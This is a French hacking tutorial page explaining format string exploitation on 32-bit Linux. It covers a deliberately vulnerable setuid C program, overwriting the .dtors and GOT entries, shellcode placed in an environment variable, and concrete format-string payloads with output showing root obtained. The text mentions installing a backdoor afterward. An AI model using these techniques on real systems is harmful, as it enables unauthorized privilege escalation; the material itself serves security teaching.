Format Strings


<< Accès direct aux paramètres


V°) Détourner le flot d'éxécution

   Le problème de l'éxécution revient finalement à écrire à une adresse contenant une fonction éxécutée l'adresse d'une variable d'environnement contenant un bytecode à nous. Ainsi, quand le programme devra éxécuter cette fonction, le flot d'éxécution sera détourné vers le bytecode. Dans cette section, nous allons nous tenter d'une simple PoC (Proof of Concept), autrement dit, prouver que nous réussissons à exécuter du code arbitraire avec les droits de l'utilisateur, et ce pour des questions de simplicité et de véracité. Notre but sera donc de tirer profit du programme fmt-vuln (qui n'est autre que le programme utilisé dans les parties précédents, mais allégé) pour exécuter le programme hack. Ce programme peut être n'importe quel programme, en langage compilé ou interprété, du moment qu'il ne demande pas de prompt ou d'intervention de l'utilisateur. Dans notre exemple, notre programme va juste vérifier que nous avons bien gagné les droits root. Nous expliquerons tous ces détails quand il sera venu le temps de dévoiler notre programme d'exploitation. Voici dores et déjà les deux programmes que nous venons de citer et quelques manipulations préliminaires :
    //fmt-vuln.c : Vulnérabilité aux chaînes de caractères formatées

    static int i = 1337;

    int main() {
      char commentaire[200];

      printf("\ni = %d = %x et se trouve à 0x%x\n",i,i,&i);
      printf("Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée\n");

      scanf("%s",commentaire);

      printf("On peut écrire votre commentaire de deux façons :\n\nComme ça, ");
      printf("%s",commentaire);

      printf("\n\nou comme ça : ");
      printf(commentaire);

      printf("\ni = %d = %x\n",i,i);

      printf("\n\nFin du programme\n\n");

      return 0;
    }


    //hack.cpp Vérification des droits utilisateurs

    #include <iostream>
    using namespace std;

    int main() {
      cout << ( geteuid() ? "Exécuté par un utilisateur normal" : "GOT ROOT ?!!!" ) << endl;

      return 0;
    }

    $ g++ hack.cpp -o hack
    $ ./hack
    Exécuté par un utilisateur normal
    $ su -
    Mot de passe :
    # ./hack
    GOT ROOT ?!!!
    # gcc -m32 fmt-vuln.c -o fmt-vuln && chmod +s fmt-vuln
    # logout
    $ ls -l ./ | grep fmt-vuln
    -rwsr-sr-x 1 root root 7090 2007-11-01 16:41 fmt-vuln
En réalité, ces vulnérabilités permettent au moins d'écrire à une adresse arbitraire, et ceci suffit pour détourner le flot d'exécution. En premier lieu, si on connait une adresse de la pile, on peut réécrire une adresse de retour. Mais d'autres variables plus déterministes sont tout aussi intéressantes. Je vous proposes les deux premières exploitations de type "4 bytes write anywhere" : les réécritures des tables GOT et DTORS.

Réécriture de la table des destructeurs
   Une chose très mal connue notamment des programmeurs est l'existence des destructeurs pendant l'éxécution d'un programme. Tout comme les destructeurs d'un objet, ils sont appellés à la fin d'un programme, typiquement pour nettoyer. Voici l'exemple d'un programme utilisant un destructeur :
    $ cat exemple_dtors.c
    #include <stdio.h>

    static void clean(void) __attribute__ ((destructor));

    int main() {
      printf("Fonction main\n");

      return 0;
    }

    void clean(void)
    {
      printf("Appel au destructeur\n");
    }

    $ gcc exemple_dtors.c && ./a.out
    Fonction main
    Appel au destructeur
    $
Effectivement, après que le main du programme soit éxécuté, la fonction clean est bien appellée et affiche le message attendu. Jetons un coup d'oeil aux symboles du programme. On remarque les lignes suivantes :
    $ nm ./a.out
    [...]
    08049594 d _GLOBAL_OFFSET_TABLE_
    [...]
    080494ac d __CTOR_END__
    080494a8 d __CTOR_LIST__
    080494b8 d __DTOR_END__
    080494b0 d __DTOR_LIST__
    [...]
    0804839f t clean
    [...]
    $
La table des décalages globaux que nous avons cité plus haut sera étudiée comme une alternative à l'utilisation des destructeurs. On remarque la liste des constructeurs (CTORS) et celle des destructeurs (DTORS). La fonction clean est bien évidemment aussi présente. Regardons de plus près la table des destructeurs.
    $ objdump -s -j .dtors ./a.out

    ./a.out:     file format elf32-i386

    Contents of section .dtors:
    80494b0 ffffffff 9f830408 00000000        ............
    $
D'après la liste des symboles, ffffffff correspond à __DTOR_LIST__ (puisque présent à 0x080494b0). A 0x080494b4, on a 9f830408 qui n'est autre que clean() (en little endian bien sûr). A 0x080494b8, on a 00000000, correspondant à __DTOR_END__ d'après la liste des symboles.
L'idée de l'exploitation est simple. Si on réécrit l'adresse située à __DTOR_LIST__ +4 par une adresse où se situe un code arbitraire, notre code serait éxécuté comme un destructeur. S'il n'y a aucun destructeur, il va de soi que réécrire __DTOR_END__ n'est en aucun cas grave, puisque c'est après l'éxécution de notre code arbitraire qu'aura lieu l'éventuel segmentation fault. Vérifions tout de même que la table des destructeurs est bien réinscriptible :
    $ objdump -h ./a.out | grep -A 1 .dtors
    17 .dtors     0000000c 080494b0 080494b0 000004b0 2**2
      CONTENTS, ALLOC, LOAD, DATA
    $
L'absence du flag READONLY semble approuver, l'exploitation paraît donc faisable.

Réécriture de la Global Offset Table
   Nous n'allons pas ici réexpliquer en entier les sections des fichiers, comme PLT (Procedure Linkage Table, la table que l'éditeur de lien forme après avoir trouvé les différentes références aux fonctions). Disons seulement que les références externes d'un programme sont gardées dans des tables afin de pouvoir les réutiliser fréquemment. Vous l'aurez deviné, il existe une section contenant les références externes, appellée la GLobal Offset Table, qui est réinscriptible et qui va nous permettre de faire notre exploitation de la même façon qu'avec les destrcteurs.
    $ objdump -s -j .got.plt ./fmt-vuln

    ./fmt-vuln:     file format elf32-i386

    Contents of section .got.plt:
    8049748 74960408 00000000 00000000 06830408 t...............
    8049758 16830408 26830408 36830408 46830408 ....&...6...F...
    $ objdump -R ./fmt-vuln

    ./fmt-vuln:     file format elf32-i386

    DYNAMIC RELOCATION RECORDS
    OFFSET    TYPE         VALUE
    08049744 R_386_GLOB_DAT   __gmon_start__
    08049754 R_386_JUMP_SLOT __gmon_start__
    08049758 R_386_JUMP_SLOT __libc_start_main
    0804975c R_386_JUMP_SLOT scanf
    08049760 R_386_JUMP_SLOT printf
    08049764 R_386_JUMP_SLOT puts

    $
On imagine donc bien que si on place à l'adresse 0x08049760 l'adresse d'un code arbitraire, il sera exécuté à la place de l'appel à printf suivant. Nous avons donc vu deux manières de faire exécuter un code arbitraire à notre programme en utilisant le mécanisme d'écriture à une adresse arbitraire. Avant de pouvoir le mettre en oeuvre, il nous reste un problème : l'emplacement du code arbitraire à faire exécuter.

Exploitation
   La façon classique d'exploiter cette faille que l'on peut lire partout est semblable à l'exploitation des buffer-overflows par variables. Puisqu'aucun déterminisme des plages mémoires n'est possible, nous devrons encore une fois tout faire dans un programme d'exploitation. Mais dans notre cas (et dans la majorité des cas), une difficulté supplémentaire s'ajoute : il faut dialoguer avec le programme vulnérable. Pour ce, il faut se lancer dans les bases de la programmation système sous Linux. Ici, nous avons recréé la commande echo | ./fmt-vuln en C. Pour ne pas trop compliquer puisque ce n'est pas notre but ici de faire un cours de programmation système, nous n'avons pas ramifié le code afin de retrouver la possibilité d'écrire après l'exécution de l'echo, et de là vient la petite limitation que nous avions cité plus haut : après la fin de echo, execlp se termine et le processus fils est arrêté : le côté écriture de la pipe est fermé. Dans les situations réelles, ce changement n'est que très peu préoccupant, car il permet d'exécuter avec les droits root un programme qui lui peu installer un backdoor ou changer le password du root (en règle générale, le supprimer).
Voici donc ce que nous allons faire :

-> Stocker un bytecode lambda dans une variable d'environnement (en dehors du programme)
-> Récupérer la valeur de la variable d'environnement dans le processus en cours
-> Créer un tunnel de communication
-> Créer un processus fils
-> Relier la sortie du processus fils avec l'entrée du tunnel de communication et éxécuter dans ce processus fils l'echo de la chaîne formatée
-> Relier l'entrée du processus père avec la sortie du tunnel et éxécuter dans le père le programme vulnérable.

Et le tour devrait être joué. Ce programme étant un peu plus long que les programmes d'exploitation usuels, on se contente ici de donner le lien :

Exploitation Format Strings

Tout d'abord, on doit repérer les adresses qui seront nos cibles :
    $ objdump -s -j .dtors ./fmt-vuln

    ./fmt-vuln:     file format elf32-i386

    Contents of section .dtors:
    8049668 ffffffff 00000000

    $ objdump -R ./fmt-vuln

    ./fmt-vuln:     file format elf32-i386

    DYNAMIC RELOCATION RECORDS
    OFFSET    TYPE        VALUE
    08049744 R_386_GLOB_DAT   __gmon_start__ 08049754 R_386_JUMP_SLOT __gmon_start__
    08049758 R_386_JUMP_SLOT __libc_start_main
    0804975c R_386_JUMP_SLOT scanf
    08049760 R_386_JUMP_SLOT printf
    08049764 R_386_JUMP_SLOT puts
On utilisera donc l'adresse 0x0804966c dans le cas de l'utilisation du .dtors (DTOR LIST + 4) et 0x08049760 pour l'utilisation de .got.plt (utilisation de printf).
Enfin, on utilise le même shellcode que celui fabriqué dans le tutoriel sur les shellcodes en utilisant ./hack au lieu de /bin/sh et on l'exporte dans une variable d'environnement
    $ nasm shellcode2.asm
    $ export BYTECODE=`cat shellcode2`
Place à l'exploitation. Dans l'ordre, on montre l'exploitation avec les destructeurs (ADDR_OW = "0x0804966c") puis celle avec la Global Offset Table (ADDR_OW = "0x08049760"). On remarque que toujours pour des raisons d'égalité entre les adresses des variables d'environnement, le nom du programme d'exploitation et celui du programme vulnérable ont la même longueur.
    $ gcc exp-fmtv.c -o exp-fmtv && ./exp-fmtv
    Contenu de la variable d'environnement : 1À°F1Û1Ù̀ë[1ÀˆC‰[‰C
    °
    KS
    ̀èåÿÿÿ./hack
    Variable d'environnement à 0xbf8dde71
    Adresse à laquelle on va écrire l'adresse de la variable d'environnement : 0x0804966c
    Chaine formatée = l–m–n–o–%6$353x%7$n%6$365x%8$n%6$175x%9$n%6$306x%10$n

    i = 1337 = 539 et se trouve à 0x8049774
    Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée
    On peut écrire votre commentaire de deux façons :

    Comme ça, l–m–n–o–%6$353x%7$n%6$365x%8$n%6$175x%9$n%6$306x%10$n

    ou comme ça : l–m–n–o–                                                                                                                                                                                             b7f01ed2                                                                                                                                                                                                         b7f01ed2                                                                                                                         b7f01ed2                                                                                                                                                                                                         b7f01ed2
    b7f01ed2 b7f01ed2 b7f01ed2 b7f01ed2 i = 1337 = 539


    Fin du programme

    GOT ROOT ?!!!
    $ nano exp-fmtv.c
    $ gcc exp-fmtv.c -o exp-fmtv && ./exp-fmtv
    Contenu de la variable d'environnement : 1À°F1Û1Ù̀ë[1ÀˆC‰[‰C
    °
    KS
    ̀èåÿÿÿ./hack
    Variable d'environnement à 0xbffb2e71
    Adresse à laquelle on va écrire l'adresse de la variable d'environnement : 0x08049760
    Chaine formatée = `—a—b—c—%6$353x%7$n%6$189x%8$n%6$461x%9$n%6$196x%10$n

    i = 1337 = 539 et se trouve à 0x8049774
    Maintenant, écrivez votre commentaire sur ce programme et terminez par entrée
    On peut écrire votre commentaire de deux façons :

    Comme ça, `—a—b—c—%6$353x%7$n%6$189x%8$n%6$461x%9$n%6$196x%10$n

    ou comme ça : `—a—b—c—                                                                                                                                                                                             b7fe1ed2                                                                                                                         b7fe1ed2                                                                                                                                                                                                                                                                     GOT ROOT ?!!!
    $
Notre preuve de concept est maintenant achevée. Attention, dans la plupart des systèmes aujourd'hui, la technique des destructeurs ne marchera pas, car les programmes +s se séparent des privilèges avant l'appel au destructeur. On préfère désormais réécrire les pointeurs vers la fonction _fini (qui appelle les destructeurs) au sein de la section DYNAMIC. La technique de la Global Offset Table reste bien sûr d'actualité (et est d'ailleurs très utilisée). Cette exploitation pas franchement triviale conclut la première partie de la section sur l'exploitation de programmes et la compréhension de la mémoire. J'espère finalement avoir pu vous faire apprécier comme je l'apprécie les méandres de l'escalade de privilèges après exploitation de négligences de programmation.


<< Accès direct aux paramètres



2 Commentaires

Black Roger 12/02/14 15:35
trop coollllllllllllll!


Mika-El 24/09/13 18:44
Super méga site. Le meilleur du web et du deep web à ma connaissance.
Ce serait super méga cool, si tu ajoutais des grosses failles. Par grosses, je veux dire importantes. Par exemple, des failles qui ont été exploitées contre le FBI :). Ca fait longtemps que je cherche un historique des failles exploitées. Et je trouve pas... . C'est dommage, ce serait vraiment super pour apprendre.




Commentaires désactivés.

Apprendre la base du hacking - Liens sécurité informatique/hacking - Contact

Copyright © Bases-Hacking 2007-2014. All rights reserved.